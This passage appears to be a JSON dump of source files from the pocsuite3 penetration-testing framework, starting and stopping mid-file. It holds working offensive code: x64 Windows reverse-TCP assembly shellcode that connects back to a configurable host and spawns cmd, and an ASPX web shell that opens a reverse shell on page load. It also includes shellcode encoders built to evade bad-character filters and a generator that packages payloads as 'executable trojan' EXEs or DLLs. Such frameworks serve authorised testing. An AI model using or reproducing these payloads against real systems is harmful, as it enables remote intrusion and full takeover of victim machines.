    "content": "[BITS 64]\n  cld\n  and rsp, 0xFFFFFFFFFFFFFFF0\n  call start\napi_call:\n  push r9\n  push r8\n  push rdx\n  push rcx\n  push rsi\n  xor rdx, rdx\n  mov rdx, [gs:rdx+96]\n  mov rdx, [rdx+24]\n  mov rdx, [rdx+32]\nnext_mod:\n  mov rsi, [rdx+80]\n  movzx rcx, word [rdx+74]\n  xor r9, r9\nloop_modname:\n  xor rax, rax\n  lodsb\n  cmp al, 'a'\n  jl not_lowercase\n  sub al, 0x20\nnot_lowercase:\n  ror r9d, 13\n  add r9d, eax\n  loop loop_modname\n  push rdx\n  push r9\n  mov rdx, [rdx+32]\n  mov eax, dword [rdx+60]\n  add rax, rdx\n  cmp word [rax+24], 0x020B\n  jne get_next_mod1\n  mov eax, dword [rax+136]\n  test rax, rax\n  jz get_next_mod1\n  add rax, rdx\n  push rax\n  mov ecx, dword [rax+24]\n  mov r8d, dword [rax+32]\n  add r8, rdx\nget_next_func:\n  jrcxz get_next_mod\n  dec rcx\n  mov esi, dword [r8+rcx*4]\n  add rsi, rdx\n  xor r9, r9\nloop_funcname:\n  xor rax, rax\n  lodsb\n  ror r9d, 13\n  add r9d, eax\n  cmp al, ah\n  jne loop_funcname\n  add r9, [rsp+8]\n  cmp r9d, r10d\n  jnz get_next_func\n  pop rax\n  mov r8d, dword [rax+36]\n  add r8, rdx\n  mov cx, [r8+2*rcx]\n  mov r8d, dword [rax+28]\n  add r8, rdx\n  mov eax, dword [r8+4*rcx]\n  add rax, rdx\nfinish:\n  pop r8\n  pop r8\n  pop rsi\n  pop rcx\n  pop rdx\n  pop r8\n  pop r9\n  pop r10\n  sub rsp, 32\n  push r10\n  jmp rax\nget_next_mod:\n  pop rax\nget_next_mod1:\n  pop r9\n  pop rdx\n  mov rdx, [rdx]\n  jmp next_mod\nstart:\n  pop rbp\nreverse_tcp:\n  mov r14, 'ws2_32'\n  push r14\n  mov r14, rsp\n  sub rsp, 408+8\n  mov r13, rsp\n  mov r12, 0xCONNECTBACK_IPCONNECTBACK_PORT0002\n  push r12\n  mov r12, rsp\n  mov rcx, r14\n  mov r10d, 0x0726774C\n  call rbp\n  mov rdx, r13\n  push 0x0101\n  pop rcx\n  mov r10d, 0x006B8029\n  call rbp\n  push rax\n  push rax\n  xor r9, r9\n  xor r8, r8\n  inc rax\n  mov rdx, rax\n  inc rax\n  mov rcx, rax\n  mov r10d, 0xE0DF0FEA\n  call rbp\n  mov rdi, rax\n  push byte 16\n  pop r8\n  mov rdx, r12\n  mov rcx, rdi\n  mov r10d, 0x6174A599\n  call rbp\n  add rsp, ( (408+8) + (8*4) + (32*4) )\nshell:\n  mov r8, 'cmd'\n  push r8\n  push r8\n  mov rdx, rsp\n  push rdi\n  push rdi\n  push rdi\n  xor r8, r8\n  push byte 13\n  pop rcx\npush_loop:\n  push r8\n  loop push_loop\n  mov word [rsp+84], 0x0101\n  lea rax, [rsp+24]\n  mov byte [rax], 104\n  mov rsi, rsp\n  push rsi\n  push rax\n  push r8\n  push r8\n  push r8\n  inc r8\n  push r8\n  dec r8\n  mov r9, r8\n  mov rcx, r8\n  mov r10d, 0x863FCC79\n  call rbp\n  xor rdx, rdx\n  dec rdx\n  mov ecx, dword [rsi]\n  mov r10d, 0x601D8708\n  call rbp\nexitfunk:\n  mov ebx, 0x0A2A1DE0\n  mov r10d, 0x9DBD95A6\n  call rbp\n  add rsp, 40\n  cmp al, byte 6\n  jl short goodbye\n  cmp bl, 0xE0\n  jne short goodbye\n  mov ebx, 0x6F721347\ngoodbye:\n  push byte 0\n  pop rcx\n  mov r10d, ebx\n  call rbp"
  },
  {
    "path": "pocsuite3/shellcodes/dotnet.py",
    "content": "from .base import ShellCode\n\n\nclass AspxShellCode(ShellCode):\n    \"\"\"\n        Class with shellcode for .NET language\n    \"\"\"\n    def __init__(self, connect_back_ip='localhost', connect_back_port=5555,\n                 bad_chars=['\\x00']):\n        ShellCode.__init__(self,\n                           connect_back_ip=connect_back_ip,\n                           connect_back_port=connect_back_port,\n                           bad_chars=bad_chars)\n\n    def get_aspx_code(self):\n        \"\"\" Function to get aspx reverse shellcode \"\"\"\n        if not self.connect_back_ip or not self.connect_back_port:\n            print(\"Settings for connect back listener must be defined\")\n            return False\n\n        aspx_code = \"\"\"\n        <%@ Page Language=\"C#\" %>\n        <%@ Import Namespace=\"System.Runtime.InteropServices\" %>\n        <%@ Import Namespace=\"System.Net\" %>\n        <%@ Import Namespace=\"System.Net.Sockets\" %>\n        <%@ Import Namespace=\"System.Diagnostics\" %>\n        <%@ Import Namespace=\"System.IO\" %>\n        <%@ Import Namespace=\"System.Security.Principal\" %>\n        <script runat=\"server\">\n            static NetworkStream socketStream;\n            protected void CallbackShell(string server, int port)\n            {\n                System.Net.Sockets.TcpClient clientSocket = new System.Net.Sockets.TcpClient();\n                clientSocket.Connect(server, port);\n                socketStream = clientSocket.GetStream();\n                Byte[] bytes = new Byte[8192];\n                String data = null;\n                Process CmdProc;\n                CmdProc = new Process();\n                CmdProc.StartInfo.FileName = \"cmd\";\n                CmdProc.StartInfo.UseShellExecute = false;\n                CmdProc.StartInfo.RedirectStandardInput = true;\n                CmdProc.StartInfo.RedirectStandardOutput = true;\n                CmdProc.StartInfo.RedirectStandardError = true;\n                CmdProc.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler);\n                CmdProc.ErrorDataReceived += new DataReceivedEventHandler(SortOutputHandler);\n                CmdProc.Start();\n                CmdProc.BeginOutputReadLine();\n                CmdProc.BeginErrorReadLine();\n                StreamWriter sortStreamWriter = CmdProc.StandardInput;\n                int i;\n                while ((i = socketStream.Read(bytes, 0, bytes.Length)) != 0)\n                {\n                    data = System.Text.Encoding.ASCII.GetString(bytes, 0, i);\n                    if (data == \"exit\")\n                        break;\n                    sortStreamWriter.WriteLine(data.Trim());\n                }\n                clientSocket.Close();\n                CmdProc.Close();\n            }\n            public static void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine)\n            {\n                string[] SplitData = outLine.Data.Split('\\\\n');\n                foreach (string s in SplitData)\n                {\n                     byte[] msg = System.Text.Encoding.ASCII.GetBytes(s + \"\\\\r\\\\n\");\n                     socketStream.Write(msg, 0, msg.Length);\n                }\n            }\n            protected void Page_Load(object sender, EventArgs e)\n            {\n                CallbackShell(\"{{LOCALHOST}}\", {{LOCALPORT}});\n            }\n        </script>\n        \"\"\"\n        aspx_code = self.format_shellcode(aspx_code)\n        return aspx_code\n\n    def get_shellcode(self, inline=False):\n        shell = self.get_aspx_code()\n        if inline:\n            shell = self.make_inline(shell)\n        return shell\n"
  },
  {
    "path": "pocsuite3/shellcodes/encoder.py",
    "content": "from random import randint\nimport types\n\nfrom pocsuite3.lib.core.common import create_shellcode\nfrom pocsuite3.lib.core.enums import ENCODER_TPYE\n\n\nclass EncoderError(Exception):\n    pass\n\n\nclass Encoder(object):\n    def encode(self, payload):\n        return payload\n\n\nclass AlphanumericEncoder(Encoder):\n    def __init__(self, disallowed_chars=\"\\x00\\x0d\\x0a\", buffer_register='ecx', offset=0):\n        self.buffer_register = buffer_register\n        self.allowed_chars = self.create_allowed_chars(disallowed_chars)\n        self.offset = offset\n\n    @staticmethod\n    def create_allowed_chars(bad_chars):\n        allowed_chars = range(0x61, 0x7b)+range(0x42, 0x5b) + range(0x30, 0x3a)\n        for ch in bad_chars:\n            if ord(ch) in allowed_chars:\n                allowed_chars.remove(ord(ch))\n        return allowed_chars\n\n    def encode(self, payload):\n        shell = [ord(c) for c in payload]\n        reg = self.buffer_register.upper()\n        stub = self.create_decoder_stub(reg)\n        offset = 0\n        encoded = \"\"\n        while offset < len(shell):\n            block = shell[offset: offset+1]\n            encoded += self.encode_byte(block)\n            offset += 1\n\n        return stub+encoded+'AA'\n\n    def create_decoder_stub(self, reg):\n        decoder = self.gen_decoder_prefix(reg) + (\n             \"jA\"           # push 0x41\n             \"X\"            # pop eax\n             \"P\"           # push eax\n             \"0A0\"          # xor byte [ecx+30], al\n             \"A\"            # inc ecx                        <---\n             \"kAAQ\"         # imul eax, [ecx+42], 51 -> 10       |\n             \"2AB\"          # xor al, [ecx + 42]                 |\n             \"2BB\"          # xor al, [edx + 42]                 |\n             \"0BB\"          # xor [edx + 42], al                 |\n             \"A\"            # inc ecx                            |\n             \"B\"            # inc edx                            |\n             \"X\"            # pop eax                            |\n             \"P\"            # push eax                           |\n             \"8AB\"         # cmp [ecx + 42], al                 |\n             \"uJ\"           # jnz short -------------------------\n             \"I\")             # first encoded char, fixes the above J\n\n        return decoder\n\n    def gen_decoder_prefix(self, reg):\n        if self.offset > 32:\n            raise Exception(\"Critical: Offset is greater than 32\")\n\n        # use inc ebx as a nop here so we still pad correctly\n        if self.offset <= 16:\n            nop = 'C' * self.offset\n            mod = 'I' * (16 - self.offset) + nop + '7QZ'    # dec ecx,,, push ecx, pop edx\n            edxmod = 'J' * (17 - self.offset)\n        else:\n            mod = 'A' * (self.offset - 16)\n            nop = 'C' * (16 - mod.length)\n            mod += nop + '7QZ'\n            edxmod = 'B' * (17 - (self.offset - 16))\n\n        regprefix = {\n            'EAX': 'PY' + mod,                         # push eax, pop ecx\n            'ECX': 'I' + mod,                          # dec ecx\n            'EDX':  edxmod + nop + '7RY',              # dec edx,,, push edx, pop ecx\n            'EBX': 'SY' + mod,                         # push ebx, pop ecx\n            'ESP': 'TY' + mod,                         # push esp, pop ecx\n            'EBP': 'UY' + mod,                         # push ebp, pop ecx\n            'ESI': 'VY' + mod,                         # push esi, pop ecx\n            'EDI': 'WY' + mod,                         # push edi, pop ecx\n        }\n\n        reg = reg.upper()\n        if reg not in regprefix.keys():\n            raise Exception(\"Invalid register name\")\n        return regprefix[reg]\n\n    def encode_byte(self, block):\n        # No, not nipple.\n        nibble_chars = [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]\n        for ch in self.allowed_chars:\n            nibble_chars[ch & 0x0F].append(chr(ch))\n        poss_encodings = []\n        block_low_nibble = block[0] & 0x0F\n        block_high_nibble = block[0] >> 4\n        # Get list of chars suitable for expressing lower part of byte\n        first_chars = nibble_chars[block_low_nibble]\n\n        # Build a list of possible encodings\n        for first_char in first_chars:\n            first_high_nibble = ord(first_char[0]) >> 4\n\n            # In the decoding process, the low nibble of the second char gets combined\n            # (either ADDed or XORed depending on the encoder) with the high nibble of the first char,\n            # and we want the high nibble of our input byte to result\n            second_low_nibble = (block_high_nibble ^ first_high_nibble) & 0x0F\n\n            # Find valid second chars for this first char and add each combination to our possible encodings\n            second_chars = nibble_chars[second_low_nibble]\n            for second_char in second_chars:\n                poss_encodings.append(second_char + first_char)\n\n            if len(poss_encodings) == 0:\n                raise Exception(\"No encoding of 0x%02x possible with limited character set\" % block)\n            return poss_encodings[randint(0, len(poss_encodings)-1)]\n\n\nclass XorEncoder(Encoder):\n    def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)):\n        self._disallowed_chars = self.set_disallowed_chars(disallowed_chars)\n        self._usable_chars = set(range(256)) - self._disallowed_chars\n\n    @staticmethod\n    def set_disallowed_chars(chars):\n        new_chars = set()\n        for char in chars:\n            new_chars.add(ord(char))\n        return new_chars\n\n    def _get_supported_register_sets(self):\n        return []\n\n    def _get_register_set(self, register_set):\n        return {}\n\n    def _get_header(self):\n        return []\n\n    def _get_payload_size_position(self):\n        raise NotImplementedError()\n\n    def _get_xor_key_position(self):\n        raise NotImplementedError()\n\n    def _encode_payload(self, payload, register_sets):\n        buffer = []\n        if isinstance(payload, types.StringTypes):\n            buffer.extend(ord(x) & 0xFF for x in payload)\n        else:\n            buffer.extend(payload)\n\n        for c in self._usable_chars:\n            ret = buffer[:]\n            for i in range(len(ret)):\n                ret[i] = ret[i] ^ c\n                if ret[i] in self._disallowed_chars:\n                    # break inner for\n                    break\n            else:\n                self._xor_key = c\n                # break outer for\n                break\n        else:\n            raise EncoderError('cannot encode')\n\n        return ret\n\n    def _prefix_header(self, payload, register_sets):\n        ret = self._get_header()\n\n        payload_len = 0x10000 - len(payload)\n        payload_size_pos = self._get_payload_size_position()\n        ret[payload_size_pos] = payload_len & 0xFF\n        ret[payload_size_pos + 1] = (\n            (payload_len & 0xFF00) >> 8)\n\n        xor_key_pos = self._get_xor_key_position()\n        for reg_set in register_sets:\n            for pos, value in self._get_register_set(reg_set).iteritems():\n                ret[pos] = value\n            for i, c in enumerate(ret):\n                if (c in self._disallowed_chars) and (\n                            i != xor_key_pos):\n                    # break the inner for\n                    break\n            else:\n                # break the outter for\n                break\n        else:\n            raise EncoderError('cannot encode')\n\n        ret[xor_key_pos] = self._xor_key\n        ret.extend(payload)\n\n        return ret\n\n    def encode(self, payload, register_sets=[]):\n        \"\"\"Encode payload.\n\n        :param payload: the payload, either a string or a sequence of bytes\n        :param register_sets: a sequence of registers to try in shellcode\n        header. Sample names include 'eax', 'edx', and 'ebx'.\n        :return: a sequence of encoded bytes\n        \"\"\"\n        if len(payload) == 0:\n            return []\n\n        if len(payload) > 65535:\n            raise EncoderError('cannot encode')\n\n        if not self._usable_chars:\n            raise EncoderError('cannot encode')\n\n        if not register_sets:\n            register_sets = self._get_supported_register_sets()\n\n        encoded_payload = self._encode_payload(payload, register_sets)\n        ret = self._prefix_header(encoded_payload, register_sets)\n\n        return ret\n\n    def encode_to_string(self, payload, register_sets=[]):\n        \"\"\"Encode payload. Return a string.\n\n        :see: encode\n        \"\"\"\n        return ''.join(chr(x) for x in self.encode(payload, register_sets))\n\n\nclass FnstenvXorEncoder(XorEncoder):\n    \"\"\"Fnstenv Xor based on\nhttp://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm.\"\"\"\n\n    HEADER = [\n        0xD9, 0xE1,  # fabs\n        0xD9, 0x34, 0x24,  # fnstenv [esp]\n        0x5A,  # pop edx\n        0x5A,  # pop edx\n        0x5A,  # pop edx\n        0x5A,  # pop edx\n        0x80, 0xEA, 0xE7,  # sub dl,-25     (offset to payload)\n        0x31, 0xC9,  # xor ecx,ecx\n        0x66, 0x81, 0xE9, 0xA1, 0xFE,  # sub cx,-0x15F  (0x15F is size of payload)\n        0x80, 0x32, 0x99,  # decode: xor byte [edx],0x99\n        0x42,  # inc edx\n        0xE2, 0xFA,  # loop decode\n        # payload goes here\n    ]\n\n    REGISTER_SET = {\n        'edx': {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA,\n                20: 0x32, 22: 0x42},\n        'eax': {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58,  # 9: 0x90, 10: 0x2C,\n                9: 0x80, 10: 0xE8,\n                20: 0x30, 22: 0x40},\n        'ebx': {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB,\n                20: 0x33, 22: 0x43},\n    }\n\n    XOR_KEY_POSITION = 21\n\n    PAYLOAD_SIZE_POSITION = 17  # 17 and 18\n\n    def _get_supported_register_sets(self):\n        return FnstenvXorEncoder.REGISTER_SET.keys()\n\n    def _get_register_set(self, register_set):\n        return FnstenvXorEncoder.REGISTER_SET[register_set]\n\n    def _get_header(self):\n        return FnstenvXorEncoder.HEADER[:]\n\n    def _get_payload_size_position(self):\n        return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION\n\n    def _get_xor_key_position(self):\n        return FnstenvXorEncoder.XOR_KEY_POSITION\n\n\nclass JumpCallXorEncoder(XorEncoder):\n    HEADER = [\n        0xeb, 0x10,  # jmp getdata\n        0x5b,  # begin: pop ebx\n        0x31, 0xc9,  # xor ecx, ecx\n        0x66, 0x81, 0xe9, 0xa1, 0xfe,  # sub cx, -0x15F\n        0x80, 0x33, 0x99,  # decode: xor byte[ebx], 0x99\n        0x43,  # inc ebx\n        0xe2, 0xfa,  # loop decode\n        0xeb, 0x05,  # jmp payload\n        0xe8, 0xeb, 0xff, 0xff, 0xff,  # getdata: call begin\n        #  payload goes here\n        #  payload:\n    ]\n\n    REGISTER_SET = {\n        'eax': {2: 0x58, 11: 0x30, 13: 0x40},\n        'ebx': {2: 0x5b, 11: 0x33, 13: 0x43},\n        'edx': {2: 0x5a, 11: 0x32, 13: 0x42},\n    }\n\n    XOR_KEY_POSITION = 12\n\n    PAYLOAD_SIZE_POSITION = 8\n\n    def _get_header(self):\n        return JumpCallXorEncoder.HEADER[:]\n\n    def _get_supported_register_sets(self):\n        return JumpCallXorEncoder.REGISTER_SET.keys()\n\n    def _get_register_set(self, register_set):\n        return JumpCallXorEncoder.REGISTER_SET[register_set]\n\n    def _get_payload_size_position(self):\n        return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION\n\n    def _get_xor_key_position(self):\n        return JumpCallXorEncoder.XOR_KEY_POSITION\n\n\nclass CodeEncoders:\n    \"\"\"\n        Class with Encoders\n    \"\"\"\n\n    def __init__(self, OS_SYSTEM, OS_TARGET, OS_TARGET_ARCH, BADCHARS):\n        self.name = \"\"\n        self.OS_SYSTEM = OS_SYSTEM\n        self.OS_TARGET = OS_TARGET\n        self.OS_TARGET_ARCH = OS_TARGET_ARCH\n        self.BADCHARS = BADCHARS\n        self.TMP_DIR = 'tmp'\n        self.step = 0\n        self.max_steps = 20\n        return\n\n    def encode_shellcode(self, _byte_array, encoder_type, debug=0):\n        \"\"\"Encodes shellcode and returns encoded shellcode\n        :param encoder_type: const of EncoderType\n        \"\"\"\n        encoded_shellcode = ''\n        if encoder_type == ENCODER_TPYE.XOR or encoder_type == 1:\n            encoded_shellcode = self.xor_encoder(_byte_array, debug)\n        elif encoder_type == ENCODER_TPYE.ALPHANUMERIC:\n            encoded_shellcode = self.alphanum_encoder(_byte_array, debug)\n        elif encoder_type == ENCODER_TPYE.ROT_13:\n            encoded_shellcode = self.rot_13_encoder(_byte_array, debug)\n        elif encoder_type == ENCODER_TPYE.FNSTENV_XOR:\n            encoded_shellcode = self.fnst_encoder(_byte_array, debug)\n        elif encoder_type == ENCODER_TPYE.JUMPCALL_XOR:\n            encoded_shellcode = self.jumpcall_encoder(_byte_array, debug)\n        else:\n            print(\"There no encoder of this type\")\n            return None\n        return encoded_shellcode\n\n    def clean_bad_chars(self, orig_array, payload):\n        if not self.BADCHARS:\n            print(\"You must specify some params\")\n            return None\n        for k in self.BADCHARS:\n            # Ooops, BadChar found :( Do XOR stuff again with a new random value\n            # This could run into an infinite loop in some cases\n            if k in payload:\n                payload = self.xor_bytes(orig_array)\n        return payload\n\n    def xor_bytes(self, byte_array):\n        # Randomize first byte\n        rnd = randint(1, 255)\n        xor1 = (rnd ^ byte_array[0])\n        xor2 = (xor1 ^ byte_array[1])\n        xor3 = (xor2 ^ byte_array[2])\n        xor_array = bytearray()\n        xor_array.append(rnd)\n        xor_array.append(xor1)\n        xor_array.append(xor2)\n        xor_array.append(xor3)\n\n        return self.clean_bad_chars(byte_array, xor_array)\n\n    def xor_decoder(self, _shellcode, debug=0):\n        \"\"\"\n            The decoder stub is a small chunk of instructions\n            that is prepended to the encoded payload.\n            When this new payload is executed on the target system,\n            the decoder stub executes first and is responsible for\n            decoding the original payload data. Once the original\n            payload data is decoded, the decoder stub passes execution\n            to the original payload. Decoder stubs generally perform a\n            reversal of the encoding function, or in the case of an XOR\n            obfuscation encoding, simply perform the XOR again against\n            the same key value.\n        \"\"\"\n\n        asm_code = \"\"\"\nglobal _start\n\nsection .text\n_start:\n    jmp get_shellcode\n\ndecoder:\n    pop esi         ;pointer to shellcode\n    push esi        ;save address of shellcode for later execution\n    mov edi, esi    ;copy address of shellcode to edi to work with it\n\n    xor eax, eax    ;clear first XOR-operand register\n    xor ebx, ebx    ;clear second XOR-operand register\n    xor ecx, ecx    ;clear inner loop-counter\n    xor edx, edx    ;clear outer loop-counter\n\nloop0:\n    mov al, [esi]   ;get first byte from the encoded shellcode\n    mov bl, [esi+1] ;get second byte from the encoded shellcode\n    xor al, bl      ;xor them (result is saved to eax)\n    mov [edi], al   ;save (decode) to the same memory location as the encoded shellcode\n    inc edi         ;move decoded-pointer 1 byte onward\n    inc esi         ;move encoded-pointer 1 byte onward\n    inc ecx         ;increment inner loop-counter\n    cmp cl, 0x3     ;dealing with 4byte-blocks!\n    jne loop0\n\n    inc esi         ;move encoded-pointer 1 byte onward\n    xor ecx, ecx    ;clear inner loop-counter\n    add dx, 0x4     ;move outer loop-counter 4 bytes onward\n    cmp dx, len     ;check whether the end of the shellcode is reached\n    jne loop0\n\n    call [esp]      ;execute decoded shellcode\n\nget_shellcode:\n    call decoder\n    shellcode: db USER_SHELLCODE\n    len:    equ $-shellcode\n\n\"\"\"\n\n        asm_code = asm_code.replace('USER_SHELLCODE', _shellcode)\n        encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug)\n        return encoded_shellcode\n\n    def xor_encoder(self, _byte_arr, debug=0):\n        self.step += 1\n        \"\"\"\n            Simple xor encoder\n            https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder/\n        \"\"\"\n\n        shellcode = bytearray(_byte_arr)\n\n        # Check whether shellcode is aligned\n        if len(shellcode) % 3 == 1:\n            shellcode.append(0x90)\n            shellcode.append(0x90)\n        elif len(shellcode) % 3 == 2:\n            shellcode.append(0x90)\n\n        # Loop to split shellcode into 3-byte-blocks\n        final = \"\"\n        for i in range(0, len(shellcode), 3):\n            tmp_block = bytearray()\n            tmp_block.append(shellcode[i])\n            tmp_block.append(shellcode[i + 1])\n            tmp_block.append(shellcode[i + 2])\n\n            # Do the RND-Insertion and chained XORs\n            tmp = self.xor_bytes(tmp_block)\n\n            # Some formatting things for easier use in NASM :)\n            for y in tmp:\n                if len(str(hex(y))) == 3:\n                    final += str(hex(y)[:2]) + \"0\" + str(hex(y)[2:]) + \",\"\n                else:\n                    final += hex(y) + \",\"\n\n        final = final[:-1]\n        encoded_shellcode = self.xor_decoder(final, debug)\n        for i in self.BADCHARS:\n            if i in encoded_shellcode:\n                print(\"Founding BADHCARS\")\n                if self.step < self.max_steps:\n                    return self.xor_encoder(_byte_arr, debug)\n                else:\n                    return None\n        return encoded_shellcode\n\n    def rot_13_decoder(self, _shellcode, debug=0):\n        \"\"\"\n            The decoder stub\n        \"\"\"\n\n        n = 13\n        n_hex = hex(n)\n\n        asm_code = \"\"\"\nglobal _start\n\nsection .text\n\n_start:\n    jmp short call_decoder\n\ndecoder:\n    pop esi                     ; shellcode address\n    xor ecx, ecx                ; zero out ecx\n    mov cl, len                 ; initialize counter\n\ndecode:\n    cmp byte [esi], %s          ; can we substract 13?\n    jl wrap_around              ; nope, we need to wrap around\n    sub byte [esi], %s          ; substract 13\n    jmp short process_shellcode ; process the rest of the shellcode\n\nwrap_around:\n    xor edx, edx                ; zero out edx\n    mov dl, %s                  ; edx = 13\n    sub dl, byte [esi]          ; 13 - shellcode byte value\n    xor ebx,ebx                 ; zero out ebx\n    mov bl, 0xff                ; store 0x100 without introducing null bytes\n    inc ebx\n    sub bx, dx                  ; 256 - (13 - shellcode byte value)\n    mov byte [esi], bl          ; write decoded value\n\nprocess_shellcode:\n    inc esi                     ; move to the next byte\n    loop decode                 ; decode current byte\n    jmp short shellcode         ; execute decoded shellcode\n\ncall_decoder:\n    call decoder\n    shellcode:\n        db USER_SHELLCODE\n    len: equ $-shellcode\n\"\"\" % (n_hex, n_hex, n_hex)\n\n        asm_code = asm_code.replace('USER_SHELLCODE', _shellcode)\n        encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug)\n        return encoded_shellcode\n\n    def rot_13_encoder(self, _shellcode, debug=0):\n        \"\"\"\n            ROT13 (\"rotate by 13 places\", sometimes hyphenated ROT-13)\n            is a simple letter substitution cipher that replaces a letter\n            with the letter 13 letters after it in the alphabet. ROT13\n            is a special case of the Caesar cipher, developed in ancient Rome.\n        \"\"\"\n\n        n = 13  # rot-n\n        max_value_without_wrapping = 256 - n\n\n        encoded_shellcode = \"\"\n        db_shellcode = []\n\n        for x in bytearray(_shellcode):\n            if x < max_value_without_wrapping:\n                encoded_shellcode += '\\\\x%02x' % (x + n)\n                db_shellcode.append('0x%02x' % (x + n))\n            else:\n                encoded_shellcode += '\\\\x%02x' % (n - 256 + x)\n                db_shellcode.append('0x%02x' % (n - 256 + x))\n\n        # print \"Encoded shellcode:\\n%s\\n\" % encoded_shellcode\n        # print \"DB formatted (paste in .nasm file):\\n%s\\n\" % ','.join(db_shellcode)\n\n        encode_shellcode = self.rot_13_decoder(','.join(db_shellcode), debug)\n        return encode_shellcode\n\n    def fnst_encoder(self, _byte_array, debug):\n        encoder = FnstenvXorEncoder(self.BADCHARS)\n        shellcode = _byte_array\n        encoded_shell = encoder.encode_to_string(shellcode)\n        if debug:\n            print(\"Len of encoded shellcode:\", len(encoded_shell))\n        return encoded_shell\n\n    def jumpcall_encoder(self, _byte_array, debug):\n        encoder = JumpCallXorEncoder(self.BADCHARS)\n        shellcode = _byte_array\n        encoded_shell = encoder.encode_to_string(shellcode)\n        if debug:\n            print(\"Len of encoded shellcode:\", len(encoded_shell))\n        return encoded_shell\n\n    def alphanum_encoder(self, byte_str, debug=0, buffer_register='ecx'):\n        encoder = AlphanumericEncoder(self.BADCHARS, buffer_register=buffer_register)\n        encoded_shell = encoder.encode(byte_str)\n        if debug:\n            print(\"Length of encoded shellcode: %s\" % len(encoded_shell))\n            print(''.join(\"\\\\x%02x\" % ord(c) for c in encoded_shell))\n        return encoded_shell\n"
  },
  {
    "path": "pocsuite3/shellcodes/generator.py",
    "content": "import struct\nimport time\nimport os\nfrom pocsuite3.lib.core.data import paths, logger\nfrom pocsuite3.lib.core.enums import OS, OS_ARCH, SHELLCODE_CONNECTION\nfrom pocsuite3.lib.core.common import (\n    validate_ip_addr,\n    port_to_hex,\n    port_to_dd,\n    ip_to_hex,\n    ip_to_dd,\n    create_shellcode,\n    read_binary,\n    get_public_type_members,\n)\n\n\nclass ShellGenerator:\n    def __init__(self, os_target, os_target_arch):\n        self.OS_TARGET = os_target\n        self.OS_TARGET_ARCH = os_target_arch\n        self.utils = ['nasm', 'objdump']\n        self.shellcodes_root = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data')\n        self.use_precompiled = self.check_for_system_utils()\n\n    def check_settings(self, addr, port):\n        if self.OS_TARGET not in get_public_type_members(OS, only_values=True):\n            raise Exception('Can\\'t generate shellcode for OS: %s' % self.OS_TARGET)\n        if self.OS_TARGET_ARCH not in ['32bit', '64bit']:\n            raise Exception('Can\\'t generate shellcode for ARCH: %s' % self.OS_TARGET_ARCH)\n        if not validate_ip_addr(addr):\n            raise Exception('IP address %s is not valid' % addr)\n        if not 0 <= port <= 65535:\n            raise Exception('PORT %s is not valid' % port)\n\n    def check_for_system_utils(self):\n        \"\"\"Checks utils. If any util is not exists precompiled shellcodes will be used\"\"\"\n        import platform\n        if platform.system().lower() == 'windows':\n            return False\n        is_nix_cmd_exists = lambda x: any(os.access(os.path.join(path, x), os.X_OK)\n                                          for path in os.environ[\"PATH\"].split(os.pathsep))\n        for util in self.utils:\n            if not is_nix_cmd_exists(util):\n                return True\n        return False\n\n    def _make_path(self, *paths):\n        path = os.path.join(self.shellcodes_root, self.OS_TARGET)\n        if self.OS_TARGET_ARCH == OS_ARCH.X64:\n            path = os.path.join(path, 'x64')\n        if not self.use_precompiled:\n            path = os.path.join(path, 'src')\n        return os.path.join(path, *paths)\n\n    def get_shellcode(self, shellcode_type, connectback_ip=\"127.0.0.1\", connectback_port=5555, make_exe=0, debug=0,\n                      filename=\"\", dll_inj_funcs=None, shell_args=None, use_precompiled=True):\n        if shell_args is None:\n            shell_args = {}\n        if dll_inj_funcs is None:\n            dll_inj_funcs = []\n        self.check_settings(connectback_ip, connectback_port)\n        filepath = ''\n        if self.use_precompiled:\n            logger.info('Some utils needed for shellcode compilation are not found. Only precompiled shellcodes can be used.')\n        self.use_precompiled = use_precompiled or self.use_precompiled\n        ext = '.bin' if self.use_precompiled else '.asm'\n        if shellcode_type == SHELLCODE_CONNECTION.BIND:\n            path = self._make_path('bind_tcp' + ext)\n            if self.use_precompiled:\n                values = dict(BIND_PORT=port_to_hex(connectback_port))\n            else:\n                values = dict(BIND_PORT=port_to_dd(connectback_port))\n        elif shellcode_type == SHELLCODE_CONNECTION.REVERSE:\n            path = self._make_path('reverse_tcp' + ext)\n            if self.use_precompiled:\n                values = dict(CONNECTBACK_IP=ip_to_hex(connectback_ip),\n                              CONNECTBACK_PORT=port_to_hex(connectback_port))\n            else:\n                values = dict(CONNECTBACK_IP=ip_to_dd(connectback_ip),\n                              CONNECTBACK_PORT=port_to_dd(connectback_port))\n        # handle custom shellcode\n        else:\n            path = os.path.join(self.shellcodes_root, shellcode_type + ext)\n            values = shell_args\n        shell = self.read_and_replace(path, values, use_precompiled)\n        if not self.use_precompiled:\n            shell, filepath = create_shellcode(shell, self.OS_TARGET, self.OS_TARGET_ARCH, make_exe,\n                                               debug=debug, filename=filename, dll_inj_funcs=dll_inj_funcs)\n        if debug:\n            logger.debug('Shellcode generated with length=%s' % len(shell))\n            logger.debug(b''.join(b'\\\\x%02x' % x for x in shell))\n        if (make_exe or dll_inj_funcs) and self.use_precompiled:\n            exe_gen = ShellcodeToExe(shell, self.OS_TARGET, self.OS_TARGET_ARCH,\n                                     filename=filename, dll_inj_funcs=dll_inj_funcs)\n            if make_exe:\n                filepath = exe_gen.create_executable()\n                if debug:\n                    logger.debug('Executable trojan is generated: %s' % filepath)\n            if dll_inj_funcs:\n                filepath = exe_gen.create_executable()\n                if debug:\n                    logger.debug('DLL is generated: %s' % filepath + '.dll')\n        return shell, filepath\n\n    @staticmethod\n    def read_and_replace(path, values, use_precompiled):\n        def to_hex(data):\n            return b''.join(b'\\\\x%02x' % x for x in data)\n\n        